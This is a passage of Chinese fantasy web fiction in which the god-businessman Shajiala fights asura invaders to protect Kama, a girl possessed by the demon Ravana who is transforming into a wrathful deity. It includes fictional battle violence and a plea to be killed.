“他的潜意识里对你没有好感,但他尚未接受这一点,所以很抱歉,我没法对你和颜悦色,我只是个精神体而已。” “原来他……一直是讨厌我的吗?”卡玛低声说,“那么为什么他还要接受那个委托来保护我?” “之前他曾对你很有好感。” “但是后来?……” “但是后来——确切地说,是昨晚。”少年陈述着,“他做了一个梦,在那个梦里,你是他的敌人。” 卡玛的心猛跳了两下。 “你伤害了他。” “那么,让我被阿修罗带走,让他们对我为所欲为,不是很好吗?” “他认为那只是一个噩梦而已。” “该死的那不是梦!!”卡玛提高声音。 “你的情绪波动得很厉害。”少年淡淡地说,“如果不是梦的话,你觉得是什么?” “刹迦罗,你在试探我。”她说。 …… 刹迦罗,你在试探我。 我说的每句话,都会传到你耳边,是不是? 坐在豪华房车里,刹迦罗脸色阴沉。 “请再开快一点。” “已经没法再快了,毗沙门先生。” “用特殊行驶权限。” “是。” …… “我说的每句话,都会传到你耳边,是不是?”卡玛皱眉。 “是的。”少年点了点头,“但他没想过要试探你。” “那个梦,是我们的前世吧?我是那个降三世明王,阿汉是大威德明王,而你,就是那个……” “毗沙门天。” “毗沙门天王。”她说,“我们无恶不作,罪无可赦,所以你杀了我们。” “大威德明王是自我毁灭的。” “这就是你接近我们的目的?——找到我们的转生体,然后再伺机消灭?” …… “如果我要杀你的话……”刹迦罗盯着窗外急速掠过的景物。 司机小心翼翼地朝后视镜瞄了一眼,他的老板正在后座上自言自语。 …… “如果他要杀你的话,你根本活不到现在的。”少年说。 卡玛没有再说话。 昨晚她和刹迦罗做了同样的梦,她不知道这意味着什么。 好吧,伊诺是对的,阿修罗和天神是存在的,虽然不知道“明王”是什么来历,但大致是差不多的东西。 “那么,那个连你也不明所以的委托究竟目的何在,”她问,“你现在应该有些眉目了?” …… “卡玛,”刹迦罗低声说,“等着我。” 进入城郊,时速已经接近三百公里,但他依然觉得太慢。 三连神应该解除在人间活动的天神身上的部分限制才行——一个刹帝利级的阿修罗都可以在摩诃使用瞬间移动术,而作为四大天王之一的他竟然只能依赖代步工具。 …… “等他来了自然会真相大白。”少年说,“但我觉得,你可能等不到他了。” “你想对我动手?”卡玛一挑眉,“精神体原来可以违抗本人的意志?” “不。”少年注视着她,缓缓地说,“在你身上,有阿修罗的味道。” “我本来就是个阿修罗。”卡玛耸了耸肩,“他们都这么说。” “不。” 少年朝她走去。 “不是你。” “什么?” 少年突然取下墨镜,眼中金光一闪。 “出来!” 金光笼罩住卡玛全身,她突然笑了。 了不起。 没想到连精神体都有如此敏锐的感应…… 看起来是须弥的高位天神啊。 卡玛的嘴在动,但说话的却不是她的声音。 她的眼渐渐失去焦距,双脚离地,一个模糊的影子从她身上浮出,就像将她横抱在怀中一样。 “原来不是本体。”少年若有所思。 彼此彼此。 影子的话音刚落,突然轰的一声巨响,房间一侧的墙壁被开了个大洞! “原来躲在这里,这回看你往哪儿跑!” 震耳欲聋的吼声炸响,一个顶天立地的巨人闯了进来,刹帝利再次以库巴的形态出现,转眼间便已毁掉了这个房间的三分之一。 “这个房间是受到特殊结界保护的。”少年面无表情地盯着那个影子。 所以他们需要通过我的指引才能找到这里。 “你——”库巴瞪着那影子,之后顿了顿,非常别扭地改了称呼,“幻非天……罗婆那大人。” …… 刹迦罗下了车,全速向他的别墅冲去,一路上的残桓断瓦都在他意料之中,视线从横七竖八倒在血泊中的肢体上匆匆掠过,在这次阿修罗的入侵中他究竟损失几何根本无暇顾及。 他想着的仅仅是卡玛而已。 幻非天罗婆那…… 原来如此。 …… 我没打算来抢你们的功劳,只是不想让明帝大人等太久罢了。 “你在利用我们!”库巴咆哮着,巨大的拳头在空中挥舞。 那个梦是明帝大人的意思,在你们把她带回帝拜之前,令降三世明王苏醒是我的使命。 “……” 你们是刹帝利当中的后起之秀,只能能顺利将这个女孩带到明帝面前,然后再随便击败一个现任的婆罗门就可以取而代之,可不要错失良机唷。 “要是你想暗中搞鬼,哪怕你是婆罗门……”库巴瞪着那个影子,“不——当我们回帝拜交了差后,要拉下来的那个倒霉鬼就是你!” 悉听尊便,不过,那位天神马上就要来了。 库巴大步朝少年走去。 面对高出自己大半截,身躯比自己庞大数倍的巨人,少年依然面无表情。 “让开,小鬼。”库巴从牙缝里挤出这几个字。 “我拒绝。”少年说。 “那么就去死!”库巴目露凶光,左手一挥,划出五道银色光弧。 房间里的摆设被整整齐齐地切开,却唯独没有伤到少年。 “没有实体?”库巴吃了一惊,“噢!——” 一束金光朝他面门射来,库巴头一偏,肩膀上却被开了个两指宽的窟窿。 不要轻敌啊,刹帝利。 高位天神的精神体,不认真应付,可是会吃苦头的哦。 “找死!”被天神之力所伤,激起了库巴的凶性,他的身体表面现出一层墨蓝色的光,紧接着伸出巨掌,一把将少年拦腰抓起,另一手沾着肩上蓝莹莹的□□便朝少年的脖子上抹去。 …… 冲进别墅的刹迦罗突然感到自己颈部闪起一阵寒意,经过长廊里的镜子时一瞥,发现自己的喉咙泛起了青色。 他的精神体沾上了阿修罗的血? 该死。 …… 库巴的血接触到少年后立即开始朝体内渗透,少年的咽喉已全部变成了诡异的蓝色,他起初还有反抗之意,但库巴任由他攻击自己,虽然这个天神的精神体力量很强,但作为刹帝利,他们的机体依然可以承受这种程度的伤害,眼下更需要担心的是那位天神。 “你们……你们想怎样?……”半昏迷状态下的卡玛断断续续地说。 您只需要放松休息,剩下的交给我们就好。 “你们……你们在对他做什么?……” 精神体是非物质构成的存在,所以需要用其它手段对付。 天神的精神体,一旦被阿修罗之血侵蚀,精神体所受到的伤害,就会原原本本地返回到天神本体上…… 而在这个过程中,受到污染的精神体是无法回收的,换句话说…… “他的下场就是死!”见少年的脖子已经变成了暗青色,库巴狞笑一声,右手高举过头。 “住……住手!……” 这就是所谓的斩首之刑…… 说起来,为了阻止我们把您带走,那位天神还真是孤注一掷,连派遣精神体这种极冒险的手段都用上了…… 而且因为担心力量不足以击退来袭的阿修罗,他似乎动用了几乎全部的精神力,换句话说…… “这斩首之刑,会百分之百地回馈到那家伙身上!!”刹帝利三兄弟的声音交叠在一起。 “住手!!——” 血雾中,少年的头颅飞起。 卡玛的意识越来越微弱,她眼睁睁地看着那个头颅在地上滚动着。 奇怪的是,最后当那个头颅停在自己跟前时,却变成了那个男人的脸。 他面无表情,冷冷地凝视着她。 在那双眼中的金色完全褪去之前,她依稀听到了刹迦罗的声音。 我该拿你怎么办呢,卡玛? 他的声音近在耳边,却又像是从极遥远的地方传来。 或者,我该叫你——耶罗?…… 卡玛再次惊醒。 又是噩梦? 她梦见自己被阿修罗追逐,她梦见一个长得极像刹迦罗的少年在保护她。 或者说,那个少年根本就是刹迦罗更年轻时的样子。 阿修罗之血侵蚀了少年的身体? 少年被斩下了头颅? 刹迦罗首级落地? 他死了? 那个男人……也会死的吗? 卡玛环视四周。 这是个经过细心布置的房间,色调温暖,但她并未因此感到安心。 他到底怎么了? 她身上又发生了什么? 卡玛跳下床,赤着双足跑了出去。 长廊的地板依然光亮如镜,水晶吊灯依然灯火通明,这栋如宫殿般富丽堂皇的别墅空无一人,安静得可怕。 这里好像什么都没有发生过。 刹迦罗,你在哪里?! 来到大门前,她猛地推开。 顿时一阵雪亮的闪光灯晃得她睁不开眼。 “卡玛小姐,请问你对这次刹迦罗先生的别墅遭到袭击有什么看法?” “卡玛小姐,听说你拥有资深机械师认证,而像你这样的人全国不超过十个,是这样吗?” “有人说袭击者是经过了高度机械化武装改造的恐怖分子,也有人说与近日发生在贫民区的一连串事件有关,请问卡玛小姐你对此有何看法?” “卡玛小姐……” “……”突然被一大群记者包围,面对着无数的摄像机和话筒,她觉得自己像是在众目睽睽之下没穿衣服一样。 “卡玛小姐,请问你和刹迦罗先生到底是什么关系?” 有人提出了这个问题,立即引来一群附和声。 “卡玛小姐,你从什么时候就开始住在刹迦罗先生的别墅里的呢?” “我……”卡玛张口结舌。 “卡玛小姐,有人说你是被刹迦罗先生包养的情妇,请问你有何看法?” “卡玛小姐,据说刹迦罗先生与多名女性保持着密切来往,是真的吗?” “如果是真的话,请问刹迦罗先生到底有多少个情妇呢?” “不想死的话,就都给我滚。”她低声说。 “卡玛小姐,你说什么?” “卡玛小姐承认自己是刹迦罗先生的情妇了?” “她说如果你们还想活着离开这里的话就趁现在。” 突然一个男人的声音压过了所有的嘈杂之声,顿时现场静了下来。 一群孔武有力的彪形大汉排成两列,把熙熙攘攘的记者推到两边,在中间隔出了一条路。 卡玛看到了那个男人。 他没有戴太阳眼镜,任由自己的金色眼瞳暴露在闪光灯下。 他的咽喉没有变成青色,他的首级依然完好无损地留在他的肩膀上。 他没有死。 她轻轻地松了口气。 “刹迦罗先生,请问这些记者怎么处理?”一个光头大汉走到刹迦罗身边,标准地三十度鞠躬后,毕恭毕敬地问。 “谁让他们进来的?”刹迦罗问,同时冷冷地扫视着一脸不满冲着那些彪形大汉抗议的记者们。 “这里的保安人员无人幸存,他们就趁机冲了进来。”光头大汉低声说,“这些当中至少有三分之一不是真正的记者。” “无论他们拍了什么,录了什么,统统搜出来销毁。”刹迦罗说,“无论是存在摄像机里的还是存在脑子里的。” 此言一出,一片哗然。 “刹迦罗先生,你不能这样做,这是破坏新闻报导自由,同时也对我们的人身权利造成严重侵犯!” 刹迦罗不予理会,径直走到卡玛身边,脱下大衣披到她身上,顿时又是一阵啪啪乱闪。 “这里是私人产业,没有任何媒体被允许可以来这里采访。”光头大汉提高声音,“如果各位不愿合作,我们会采取强制手段。” 刹迦罗的手下后来如何处理善后,卡玛已无暇顾及。 当人群被分开后,她发现别墅之外到处浓烟滚滚,几乎没有什么完好的地方—— 刹迦罗的巨大庄园变成了一个战场。 她看到一些生死未卜的人被用担架抬走,血淌了一地。 她没有做梦。 这里的确受到了阿修罗的袭击。 那不是梦。 觉察到她有些异样,刹迦罗低头察看。 “不舒服吗?” 卡玛紧紧地抓住他的衣领。 “有个东西在我体内。”她说。 “它要让她苏醒。” 刹迦罗缓缓地点了点头,轻轻地抚着她的后颈。 “刹迦罗。”她用尽最后的力气望着他的金瞳,在昏厥之前,她听到自己在求那个男人。 “帮帮我。” 救我。 12. 第 12 章 刹迦罗双臂环胸,站在窗边,脸色阴沉。 别墅之外,一片忙碌,清理善后工作已经有条不紊地展开,尚存活的人员已被送往了毗沙门财团旗下的医院,人造人体失却功能的视受损情况接受维修,天然人体受损,只要脑部没有遭到完全破坏也可以立即接受躯体更换手术——负责刹迦罗府邸安全的战斗人员几乎全都接受了局部或全身改造,同时每周做两次记忆备份,因此在数小时前的阿修罗侵袭事件中,真正“死亡”的人并不多。 刹迦罗的庄园其实坐落于两个相连的人工岛屿,而较大的那个岛屿如今已经基本上被夷为平地,所以他只好暂时住进了另一个尚未被破坏的岛。 这栋保存完好的别墅正处于严密的保护之下,甚至能看到经过特殊改装的装甲车。 刹迦罗拉起窗帘,转身问道: “她怎么样了?” “不太好。”一个有着赤色眼瞳的白衣男子答道,正是希格玛。 “那么这个人呢?”刹迦罗问。 房间里有个人单膝着地跪在他面前。 “估计也不会太好吧。”希格玛说完,拿起一把精巧的叉子削下一片蛋糕放进嘴里,又端起杯子抿了口茶。 那个男人跪在地上,不断地颤抖着。 “清理指挥室的时候发现了他,颈骨因遭到巨力压迫而粉碎性折裂,两小时前对他进行了身体更换手术,他似乎使用人造人体的经验不多,现在还不能很好地控制身体。”希格玛说,“这个人似乎是负责该区域安全的头头?你的豪华宫殿被拆散了架,连外头的花花草草都没能幸免,而对方仅仅是一个刹帝利级的阿修罗而已——刹迦罗,你每年都要给你的私人军队贴不少钱,但看起来并不是物有所值的样子嘛。” 男人抖得更厉害了。 “听说因为遭到逼问,所以把你的保护目标的行踪透露给了对方呢。”希格玛漫不经心地说,“结果还是被折断了脖子。” 刹迦罗扬了扬眉。 “这两个岛上的安全系统,当警戒级别为黑色时,是可以同时对付至少三个刹帝利,甚至是婆罗门的。”希格玛说,“虽然可能不明白那些东西是什么,但按照操作规程,黑色警戒级别时应该立即向财团请求支援以应付各种突发情况才对。” “我……” “你的老板将警戒系统提升到了黑色,但你却没有请求调派人手。”希格玛向茶杯里加了点鲜奶,用银茶匙边搅边说,“你觉得你的手下装备精良,但那仅仅是以人类的标准——那种东西是不能以常规概念来判断的。” “可是……” “你的人几乎全军覆没,而你的老板差点失去他的保护目标。”希格玛并不打算给他开口的机会,“你的老板几乎拼掉性命才险胜一着,否则就全盘皆输,而这都是你疏忽大意的缘故,是因为从未遇到过够分量的对手,还是因为觉得没人敢对毗沙门财团乱来?” “抑或者……”希格玛眼睛一翻,冷冷地瞥了那男人一眼。 “你是故意的?” “不……不是!……”男人惊恐地抬起头,“我不是内奸!……毗沙门先生,我不是内奸!请您相信我!……” “德卡。”刹迦罗终于开口。 门应声而开,那个穿着黑色正装戴着墨镜的光头大汉像座山似的堵住了门口。 “大人有什么吩咐?”德卡略微颔首,向刹迦罗请示。 “把他带走。”刹迦罗说。 德卡朝两边使了个眼色,后退了一步,立即两个同样虎背熊腰的黑衣大汉悄无声息地闪进屋,架着那个两腿发软的男人消失了。 “德卡。”刹迦罗低声唤道。 “大人有什么吩咐?” “虽然不想这样,但也没有其他办法。”刹迦罗说,“这里的护卫工作,就交给你们了。” “夜叉一族即使赔上性命,也会保证毗沙门天大人的安全。”德卡低声说。 “不。”刹迦罗摇了摇头,“你们保护优先级最高的,是她。” 德卡转过脸,朝躺在床上缩成一团的蓝发女孩看了一眼。 “请大人放心。” “另外请通知因陀罗大人,让他全面提升世界大厦以及他主宅的保护级别。”刹迦罗说。 “必要的话,可以考虑从须弥调遣他的护法神。”希格玛插了一句,“德卡先生,对方是刹帝利和婆罗门,三连神不允许发生任何意外。” “是!”光头大汉郑重地应了一声,起身退了出去。 门被轻轻地合上。 “多闻。”希格玛说,“如果帝拜这次为了这个女孩要动真格的话,夜叉一族不是婆罗门的对手。” “就算结界出现裂缝,能进入摩诃的高级阿修罗数量依然极其有限。”刹迦罗说。 “但就这一个婆罗门,已经很棘手了呢。”希格玛望向躺在床上的卡玛。 “幻非天。”刹迦罗皱了皱眉,“我真是太大意了,他自从在地铁站与卡玛接触后就一直附着在卡玛的灵魂上,我把卡玛和他一起带回这里,本想拖延时间把一些事情弄清楚,结果完全事与愿违。” “有这个家伙在,无论这女孩看到听到了些什么,他全都能透露给其他的阿修罗。”希格玛说,“那个刹帝利是来得最快的——多闻,你的庄园很快就要面临来自阿修罗的新一轮攻击,这次也许是吠舍,也许是首陀罗,而且他们会成群结队。” “我知道。”刹迦罗点了点头,“她究竟怎么样了?” “很不好。”希格玛答道,“但是我建议你最好先担心一下自己。” 他沉默不语。 “被阿修罗之血污染,受了斩首之刑——你知道你的精神力有多虚弱么?”希格玛说,“之前差点连天神机体都无法驱动,虽然你的本尊还在须弥,要是让别人知道四大天王里的最强天部在摩诃栽在一个刹帝利手里,那会很丢脸的。” “我是栽在那个婆罗门手里。”刹迦罗双手合十。 “没什么区别。”希格玛毫不客气,“我不反对你派精神体去救场,但我完全想不到你居然动用了几乎全部的精神力,而且还和刹帝利当面对峙。” “不这样做,她会被他们带走的。” “开启通往帝拜的入口需要制造大规模的能量场,我和你再加上因陀罗完全可以——” “持国,我来不及考虑这么多。”刹迦罗拍了拍好友的肩,“我当时只有一个念头,那就是不能让她被带往帝拜。” “为什么?”希格玛反问,“因为这样一来就代表三连神交给你的任务失败了?多闻,那只是原因之一。” “……” “真相已经大白——虽然不知道这究竟是怎么回事,但这个女孩是降三世明王的转生体已经毫无疑问,而守护在她身边的那个巨人是大威德明王转世,在重温旧情之前,你最好再次谨慎猜度一下三连神的真正意图。” “你说我这么做是因为我对那个女人余情未了?”刹迦罗哑然失笑。 希格玛起身拉开门,德卡与另一位夜叉在门口两侧屹立如山。 “这种事情,也许你应该问自己。”希格玛说,“一千年前四大明王进犯善见城,不知有多少天神死在他们手上,当他们踩着诸天的尸体企图侵入无往虚空直面三连神时,为了她你不是没做过傻事。” “持国。”刹迦罗用警告的眼神盯着希格玛。 “我不想、也不能让你重蹈覆辙。”希格玛毫不退让,“事到如今我也先提醒你一下:如果无法扭转局势,那么这个女孩能活多久,完全取决于降三世明王何时苏醒,或者她对三连神的计划还有没有利用价值,那女人哪怕只剩了一根头发对这个世界都是潜在威胁。” “我知道!”刹迦罗低吼道,屋子里一阵微颤。 “如果到时候下不了手,我不介意代劳,因陀罗也可以。”希格玛挥了挥手,扬长而去,“时候不早了,我要去做睡前面部保养,有什么事可以随时派人来叫我。” “毗沙门天大人……”德卡小心翼翼地低唤着。 刹迦罗心里烦乱,但并未显露,他知道希格玛的话毋庸置疑。 他当然知道,一切的利害和可预见的未来,他都了然于心。 可他又应该如何是好? 想了半天也没有头绪,他一咬牙。 “德卡。” “大人有什么吩咐?”光头大汉忙垂首待命。 刹迦罗张了张嘴,半响才冒出来一句: “我也要做面部保养。” 深夜卡玛发起高烧,呓语不断,刹迦罗和希格玛严加看护。 她含糊不清地说着和人造人体有关的各种事情,令希格玛感到惊讶的是她对第八代人造人体采用的克里希纳系统的描述分毫不差,甚至里面有一些是只有作为首席设计师的他才知道的内容。 “因陀罗要是知道有这么个机械师拿着资深证书躲在阿什提做黑工,绝对会跳起来带上一帮手下冲进贫民区,说什么也要把她捉住。” “在那之前,他的人会被那个大块头杀光的。” 刹迦罗皱着眉头。 “降三世,大威德,我怎么会没想到?” “他还真是一点都没变。”希格玛轻轻地叹了口气,“但是,他知道自己这次保护的人到底是谁吗?” 卡玛的梦呓中开始频繁出现“多闻”、“刹迦罗”和“毗沙门天”一类的词。 “她倒是对你念念不忘。”希格玛瞟了刹迦罗一眼,“不知道是现在的你,还是一千年前的那一个。” “那……那至……那至……” 希格玛一脸同情地拍了拍刹迦罗的肩。 “看来是一千年的那一个,而且还有强力情敌。” “你好像一幅在看好戏的样子。”刹迦罗黑着一张脸。 “汉……汉巴达……汉巴达……阿汉……阿汉……” 两人面面相觑,之后希格玛点了点头。 “好吧,这段轰轰烈烈的四角恋情正面临千年后重新大洗牌的局面。”他继续拍那金瞳男子的肩,全然不顾好友的脸色有多难看。 “接下来你是不是还要安慰我,说我还有机会?”刹迦罗的指节噼啪乱响,如果可以,他实在很想一拳挥向希格玛那张英俊美艳的脸。 听了他的话,希格玛收住笑。 “你没机会——任何人也不会有。” 说着他起身朝卡玛的床榻走去,指尖闪起红光。 刹迦罗跳起来,一把攥住他的手臂。 “你把我的衣服弄皱了。”希格玛皱眉。 刹迦罗一言不发。 “你在想什么,多闻?”希格玛指尖的红光消失,但刹迦罗的手依然紧紧地卡着他。 “如果我对她出手,你会毫不犹豫地攻击我?” “这是三连神指派给我的任务。”他低声说,“在我收到三连神的下一个指令前,这个委托依然有效,任何想要对她不利者都必须先过我这一关。” “即使是我?” “即使是你。” “多闻,你还不明白吗?”希格玛摇了摇头,“已经有人过了你那一关了,一个婆罗门级的阿修罗在你眼皮底下侵入了她的体内,与她的灵魂共生,凭你、我或者是因陀罗在摩诃的能力无法将那个婆罗门从她体内驱逐。” “我知道。” “不,你不知道。”希格玛打断他,“略掉那个刹帝利,真正的对手是罗婆那,这意味着什么?” 见刹迦罗沉默不语,希格玛接道: “八大婆罗门中,十首王罗婆那是资历最老的一个,他是被毗湿奴亲自放逐至帝拜的阿修罗,他的厉害你应该很清楚,任何一个有点头脑的天神都知道,与得到过梵天特别恩赐的阿修罗为敌是最愚蠢的事。” “罗婆那永远不会被天神之力所伤。” “没错,即便毗湿奴也是转生至摩诃后以人类的形态才成功击败他,对于我们这样的天神来说,就算力量比罗婆那高出十倍甚至上百倍,也是没用的。”希格玛指着床上的卡玛,“看看她的身上。” 卡玛的面颊、颈部、双肩、手臂至指尖,都出现了奇异的蓝黑色纹案,这些印记犹如活物,正渐渐向她躯体的其他部分蔓延。 “降三世明王正在罗婆那的引导下逐渐苏醒,当这些属于堕落者的印记覆盖她全身后,她就不再是人类了。”希格玛甩开刹迦罗的手,“多闻,我们对罗婆那束手无策,你的任务已经失败,这个女孩失去自我变成降三世明王只是时间问题,除了现在将她杀死外没有其他办法了!” “一定有其他办法。”刹迦罗在房间里踱来踱去,有如困兽,“一定有。” 希格玛不再与他争辩,拉了张椅子坐下,叠着腿叼起一根烟。 “她是个机械师,一定给自己的灵魂作过备份,可以借助人造人体重生。”刹迦罗说,“顶多失去最近几天的记忆,不是吗?” 希格玛“啪”地一声合上打火机。 “她最后一次作记忆备份是什么时候?”他吸了口烟,漫不经心地说,“我看过记录,似乎在阿修罗侵袭这里之前,她用过你别墅里的机器,同时做过一次记忆备份,那枚芯片现在就在她的上衣口袋里。” 他弹了弹烟灰。 “很抱歉,但那已不再是安全数据了——当时罗婆那已经和她的灵魂同化,那个阿修罗的精神体可以像病毒一样不断自我复制,只要他愿意,他可以附着在每个与网络相连的大脑上,要让这个国家甚至整个摩诃的人都变成他的傀儡,也不是太困难的事。” “好消息是,三连神会实时监控摩诃的全局网络,一旦发现类似迹象就会采取措施,另外根据结界的裂缝来看,遛进摩诃的高级阿修罗还无法使用全部能力,而要让降三世明王苏醒也需要大量精神力,因此罗婆那应该还顾不上感染摩诃的网络。”希格玛望着刹迦罗,“但总而言之,记忆备份不可用,她只有这一条命。” “如果我带她去见三连神呢?” “也许这是唯一的办法,但他们会不会接见你都是未知数。”希格玛摇头,“无论这是个怎样的游戏,他们要赢,并且他们会赢,至少目前,主动权依然在他们手里。” “疼……好疼……” 刹迦罗来到床头,打量着卡玛,看着她脆弱无助的样子,眉头越皱越紧。 本想再垫上一个靠枕让她能躺得稍微舒服些,但刚一掀开薄毯便惊觉不妥。 掌心一阵湿冷,他居然沾了一手蓝色的粘稠液体,刹迦罗大吃一惊,仔细察看,才发现那些蓝色液体来自她的背。 不知这种情况已持续了多久,血浸透了衣物,当刹迦罗帮她翻身时,床单被先前干涸的血粘在她背上,他甚至要用撕的。 “德卡?!”刹迦罗怒吼一声。 门应声而开,光头大汉刚闪进屋就愣住了,直到那位天神恼怒的目光几乎在他身上捅出两个窟窿时才回过神来。 “这是怎么回事?” “大人,除……除了您和持国天大人外,没有任何人进入过这个房间!”德卡赶紧伏在刹迦罗膝前。 他本以为接下来一定会遭到训斥,但刹迦罗什么话也没说。 “你先出去吧,德卡先生。”希格玛低声说。 “可……可是,持国天大人……” “这不是你们的过失。”希格玛将他扶起,“十分钟内备好车,我们要立即前往世界大厦,快去。” “是!”德卡立即退了出去。 “降三世明王在她体内的活动已经到这种程度了吗?”刹迦罗怔怔地看着自己手上的蓝色。 “背部骨骼已经出现增生现象,再过数小时她的背上会长出四只新的手臂,降三世明王会逐渐获得完整的物理形态。”希格玛披上外衣,“我们只能去中央神庙碰碰运气了。” 刹迦罗一言不发,用毯子裹住卡玛,将她抱起朝屋外走去。 守在走廊里的黑衣大汉们纷纷迎了上来。 “所有人都与我随行。”刹迦罗说。 卡玛突然在他怀里动了一下。 不知什么时候那女孩睁开了眼。 她缓缓举起一只手,伸向刹迦罗,轻轻地摸他的脸。 她的手冷得像冰。 “刹迦罗……” “我在。”他朝别墅外走去,身后跟着数十个夜叉。 “如果……如果我不行了……”剧烈的痛楚令她的面孔扭曲。 “你不会有事。”他脸色铁青,“我现在带你去见我的委托人,再坚持一会。” “至少……至少让我再……”她直盯着他的金瞳。 “让我再见……再见阿汉一面。” 刹迦罗停下脚步。 “然后……” “杀了我。” “我不要变成别的东西……” “我就是我。” 说这些话似乎耗尽了她全部的力气,她再度昏厥,手无力地垂下,搭在他的臂弯上。 “大人,已经准备好了,随时可以出发。”德卡低声说。 “等她熬过去,你爱怎么看她的脸蛋都行。”希格玛拉开车门,“不过再磨蹭的话,恐怕你就真的要实现她的愿望了。” 凌晨四点,正是这座巨型城市睡得最沉的时刻。 刹迦罗的专车由德卡亲自驾驶,在其前后左右上下各有四辆护卫车,里面是被刹迦罗钦点的夜叉卫队,这个庞大的车队离开了他位于人工岛屿上的府邸,悄无声息地行驶在专用跨海车道上,全速向中心市区进发。 附近海域没有异状,没有任何可疑能量反应。 十分钟后我们会离开跨海车道进入市区,预计二十分钟后抵达世界大厦。 “知道了。”德卡点了点头,“兄弟们小心,保持最高戒备状态,这二十分钟的路不会太好走,他们不会让我们这么容易就进入帝释天大人的控制范围的。” 他悄悄扫了眼后视镜。 刹迦罗抱着那蓝发女孩纹丝不动,视线始终没有从她身上离开。 她的情况看起来也许不会更糟了——蓝色的血不断从她背上的伤口淌出,浸透毛毯,沾在刹迦罗身上,她的身体已几乎全部被那种特殊的蓝色纹案覆盖,那股妖异的气息令德卡如芒在背,若非刹迦罗一直在以自己的天神之力加以抑制,藏在那女孩体内的东西也许已经彻底占据了这具身体。 卡玛动了一下,唇角蠕动着,仿佛在说什么,刹迦罗垂头仔细聆听。 “OK……OK……” 忙了这么大半天,刹迦罗倒真把那个小家伙忘得一干二净,不仅有些懊悔。 “若是把那个小家伙也一起带上就好了。” “不……不要……” “为什么?”刹迦罗轻声问,“有它陪着你,也许你会更好受一些。” 现在她正同时与体内的幻非天罗婆那和降三世明王对抗,也许这样能让她更坚强些,从而延缓那两个强大的阿修罗进一步侵蚀她的身心。 “太危险了……顾不上它的。”她不断摇头。 “我们马上就要进入市区了。”他抚着她被汗水浸湿的发丝。 “刹迦罗。”她突然睁开眼,盯着他。 “小心,他们来了。” 紧接着她诡异地笑了一下。 要来了唷,毗沙门天。 “罗婆那!”刹迦罗低吼。 话音刚落,车窗外突然火光一闪,紧接着一声巨响。 R3被击落! 透过车窗,刹迦罗向右后侧一瞥,只见一辆护卫车带着浓烟偏离了车队朝黑漆漆的海面坠去。 “有兄弟受伤吗?”德卡问。 车上的人都没事,可以继续护驾! “好了,兄弟们打起精神来,该干活了。”德卡的牙咬得嘎吱乱响。 海面上出现了六个巨大的漩涡,六条身体由海水构成的巨蟒冲天而起,向刹迦罗的车队发起攻击。 “张开防护结界!” 德卡一声令下,二十三辆护卫车同时开始闪光,光线互相连接,迅速地撑开了一层淡金色的椭圆体光膜。 水蟒撞在防护结界上散成漫天水珠,一时间好像下起了瓢泼大雨,但很快这些水珠又重新凝聚在一起展开下一轮攻击,夜叉的防护结界不断承受巨力,撞击时发出的声响宛若闷雷,不知情者还以为海上突然来了雷雨。 “能够控制水的阿修罗,修为还算不错。”希格玛翻着一本印刷精美的房产杂志,“大概是个吠舍吧。” “大人,我们已经确定了这个阿修罗的方位。”德卡回头请示,“怎么处置?” 刹迦罗替卡玛拭汗,头也不抬地说: “格杀勿论。” “是!” 三辆护卫车开了门,闪出几条人影,没入黎明前的黑暗中。 六条水蟒中有三条解体后在空中形成了上百米高的巨大人形体。 毗沙门天,把降三世明王交出来! “如果我拒绝呢?”刹迦罗反问。 那就不能让你们活着抵达帝释天的巢穴! “帝释天的巢穴?”希格玛笑道,“真有创意。” “要从我手里抢人。”刹迦罗说,“有本事的话就来吧。” 水巨人抡起手掌朝刹迦罗的车队拍去,海水构成的巨大手掌遮天盖地,车内波光粼粼。 在那只巨掌距夜叉的防护结界还有十余米时,护卫阵列左前方的四辆车通体泛起金光,瞬间连成一片,射出一束利芒。 金光击穿掌心,连带着射中了水巨人的前额,高温令海水蒸发,令其从内部开始溃散,数秒钟内那个庞然大物分崩离析,化为一片浓雾,刹迦罗的车一头撞了进去,能见度顿时降为零。 德卡大哥,那个阿修罗已经被我们干掉了,能控制水的吠舍,机体核心已被摧毁。 “干得好。”德卡点了点头,又回头向两位天神通报。 “还有……”卡玛呼吸急促,几乎分辨不出她在说什么。 “别再说话了。”刹迦罗紧蹙着眉头。 她血流不止,而他已能感觉到她的背上出现了四个尖锐的突起物。 卡玛是未经改造的人类,但现在她的身上竟然“生长”出类机械组织。 别白费功夫了,毗沙门天。 她的脸上又现出那种阴冷的笑容——当罗婆那占上风时,刹迦罗甚至感觉不到自己怀里抱着的那个是人类,幻非天控制卡玛身体的频率不断增加,而且融合程度越来越高,起初只能转动眼珠和发出失真的声音,但现在开始有了表情和动作。 “你的小女孩快要撑不住了。”希格玛说,“被罗婆那侵占了这么久还没有让它完全得手,以人类的标准而言,绝无仅有。” “替我护法。”刹迦罗看了他一眼。 “你要进入她的潜意识里?若是你的精神体被罗婆那污染那可就麻烦大了。”希格玛摇头,“这太冒险了,我完全不赞成。” “天神机体都有三重精神壁垒。”刹迦罗闭上眼,“我看过我的系统说明,似乎你还专门强化过算法。” “那算法对罗婆那有没有用,我可说不准。”希格玛一把抓住他的肩膀,“有言在先,出了问题我可不会帮你付保险帐单!” 刹迦罗微微一笑,咬破指尖,将手放在卡玛的背上。 当鲜红色的天神之血与她背上伤口里渗出的蓝色血液混合时,卡玛猛烈地颤抖起来。 “刹迦罗……你的血……好烫……” 毗沙门天,我的皮肤在灼烧啊。 “刹迦罗,求求你,杀了我……” 多闻,你忍心看着我死吗? 数个声音叠在一起,分不清此时控制着那个身体的到底是谁。 刹迦罗将自己的眉心抵着卡玛的前额,他的手臂上出现金色咒纹,光芒越来越强,渐渐将两人笼罩。 见他拿定主意,希格玛不再劝阻。 车队冲出浓雾,德卡低唤道: “大人。” “我知道了。” 希格玛解开衬衣领口挽起袖子,凝视前方。 空中黑压压的一片,大大小小形态各异的机械体宛若漫天飞蝗。 “倾巢出动了吗?”希格玛赤红的眼瞳闪闪发光,“真是的……原来这个城市里已经有这么多阿修罗了呀。” 德卡大哥,那些阿修罗把我们的路堵死了! “任何企图阻挡我们前往中央神庙的阿修罗一律格杀勿论,这是毗沙门天大人的意思!”德卡沉声道。 矗立于阿什提市中心的世界大厦已依稀可见。 刹迦罗发现自己身处一片树林。 四周寂静无声,空气就像凝固了一样。 似乎他的到来打破了束缚着这里的某种枷锁。 一声闷雷从云端滚来,惊起一丝凉风,接着淅淅沥沥地下起了雨。 一切都平常无奇,但却又让人觉得不可思议。 刹迦罗的手里出现了一把伞,他缓缓撑开。 